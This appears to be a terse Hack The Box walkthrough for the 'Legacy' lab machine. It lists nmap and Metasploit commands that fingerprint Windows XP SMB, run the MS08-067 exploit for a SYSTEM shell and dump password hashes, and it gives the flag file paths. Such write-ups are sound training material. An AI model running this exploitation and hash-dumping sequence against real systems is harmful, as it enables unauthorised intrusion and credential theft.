Legacy
HTB - 1. Legacy
nmap -A -T4 -p- 10.10.10.4shows 139 and 445 open, running Windows XP, computer name LEGACY, message_signing disabled.smbclient -L \\10.10.10.4\\no connectionMetasplot
sudo msfconsole search smb_version use auxiliary/scanner/smb/smb_version options set rhosts 10.10.10.4 exploitResult: running Windows XP SP3
Search
smb windows xp sp3 exploitfound https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapiMetasplot Exploit
use exploit/windows/smb/ms08_067_netapi set rhosts 10.10.10.4 run getuid sysinfo help hashdump shellResult: shell spawned at NT AUTHORITY\SYTEM (root equivalent)
hashdumpgives password hashes Admin Flag atC:\Documents and Settings\Administrator\Desktop\root.txtUser Flag atC:\Documents and Settings\john\Desktop\user.txt
Last updated
Was this helpful?